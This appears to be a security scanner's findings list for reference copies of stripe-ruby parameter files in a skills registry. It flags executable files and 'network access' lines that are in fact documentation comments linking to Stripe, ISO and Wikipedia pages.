  • Network accessline 1047
    # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details.
  • Network accessline 1049
    # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizing you to debit their account. 
  • Network accessline 1051
    # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payments/pix) for more details.
  • Network accessline 1053
    # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more details.
  • Network accessline 1057
    # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1059
    # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their payment. Customers pay by being redirected 
  • Network accessline 1061
    # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA established and enforced banking standard
  • Network accessline 1063
    # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported method—to accept [Sofort](https://www.sof
  • Network accessline 1065
    # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer-actions) payments using the S
  • Network accessline 1067
    # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details.
  • Network accessline 1069
    # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https://docs.stripe.com/payments/ac
  • Network accessline 1071
    # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' apps and websites. WeChat Pay users buy most freque
  • Network accessline 1073
    # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_configuration_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_configuration_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_configuration_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 957
    # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability.
  • Network accessline 961
    # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay over a longer term (Installments), whic
  • Network accessline 963
    # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particularly popular among businesses 
  • Network accessline 965
    # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app. Alipay has a low dispute rate and reduces fraud by
  • Network accessline 971
    # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additional fees to process Apple Pay payments, 
  • Network accessline 975
    # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/payments/au-becs-debit) for more details.
  • Network accessline 977
    # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more details.
  • Network accessline 979
    # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linked to a Belgian bank account to make on
  • Network accessline 981
    # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers are redirected from your website or ap
  • Network accessline 983
    # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request a six-digit code from their b
  • Network accessline 985
    # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details.
  • Network accessline 989
    # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Mastercard networks. Check this [
  • Network accessline 991
    # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/cash-app-pay) for more details.
  • Network accessline 993
    # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask.
  • Network accessline 995
    # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank-transfers) for more details.
  • Network accessline 997
    # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80% of Austrian online retailers. Check this [page](
  • Network accessline 1001
    # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia, and eleven other major Malay
  • Network accessline 1003
    # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs.stripe.com/payments/ben
  • Network accessline 1005
    # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with funds debited from their bank account. Depending on their ban
  • Network accessline 1007
    # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use the Google Pay API to request a
  • Network accessline 1009
    # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Check this [page](https://docs.stripe.com/
  • Network accessline 1011
    # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL, making it the most popular onli
  • Network accessline 1013
    # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Switzerland, United Kingdom, U
  • Network accessline 1017
    # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address and the transaction amount. These pay
  • Network accessline 1019
    # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details.
  • Network accessline 1023
    # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network.
  • Network accessline 1025
    # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb-way) for more details.
  • Network accessline 1027
    # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods
  • Network accessline 1029
    # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments using any supported method.
  • Network accessline 1035
    # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-bank-account) for more details.
  • Network accessline 1037
    # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills and online purchases in-store with cash. Check t
  • Network accessline 1039
    # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and Przelewy24 provides a way
  • Network accessline 1043
    # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1045
    # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https://docs.stripe.com/payments/pa
  • Network accessline 1047
    # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details.
  • Network accessline 1049
    # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizing you to debit their account. 
  • Network accessline 1051
    # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payments/pix) for more details.
  • Network accessline 1053
    # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more details.
  • Network accessline 1057
    # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1059
    # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their payment. Customers pay by being redirected 
  • Network accessline 1061
    # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA established and enforced banking standard
  • Network accessline 1063
    # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported method—to accept [Sofort](https://www.sof
  • Network accessline 1065
    # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer-actions) payments using the S
  • Network accessline 1067
    # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details.
  • Network accessline 1069
    # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https://docs.stripe.com/payments/ac
  • Network accessline 1071
    # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' apps and websites. WeChat Pay users buy most freque
  • Network accessline 1073
    # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 58
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 66
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 310
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 400
    [Credential-related source omitted]
  • Network accessline 438
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 468
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_detach_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_domain_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_domain_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_domain_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_domain_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_domain_validate_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 18
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 114
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_attempt_canceled_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_attempt_failed_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_attempt_guaranteed_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_attempt_informational_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 28
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 36
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 74
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_attempt_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 29
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 37
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 105
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 113
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 155
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 9
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 59
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 67
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 155
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 163
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 211
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_refund_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 9
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 46
    # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing how much of this payment to refund. Can refund only up to the remaining, unrefunded amount of the payment.
  • Network accessline 52
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 16
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 18
    # The method used to send this payout, which is `standard` or `instant`. We support `instant` for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Payouts](https://stripe.com/docs/pay

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_reverse_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payout_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/plan_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 19
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 89
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 99
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 113
    # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/plan_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/plan_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/plan_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/plan_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 16
    # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/price_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 53
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 100
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 108
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 139
    # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
  • Network accessline 201
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 203
    # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 211
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 215
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 221
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/price_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/price_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/price_search_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for prices](https://docs.stripe.com/search#query-fields-for-prices).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/price_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 53
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 78
    # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 84
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 88
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 54
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 107
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 109
    # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 113
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 117
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 173
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object. This Price will be set as the default price for this product.
  • Network accessline 183
    # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table).
  • Network accessline 185
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 198
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_feature_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # The ID of the [Feature](https://docs.stripe.com/api/entitlements/feature) object attached to this product.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_feature_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_feature_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_feature_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_list_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 31
    # Only return products with the given IDs. Cannot be used with [starting_after](https://api.stripe.com#list_products-starting_after) or [ending_before](https://api.stripe.com#list_products-ending_before).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_search_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for products](https://docs.stripe.com/search#query-fields-for-products).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/product_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product.
  • Network accessline 42
    # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table).
  • Network accessline 44
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 57
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/promotion_code_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 27
    # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 33
    # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount
  • Network accessline 64
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/promotion_code_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/promotion_code_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/promotion_code_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 15
    # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 26
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_accept_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/quote_computed_upfront_line_items_list_params.rb

  • Executable scriptline 1
    Executable file

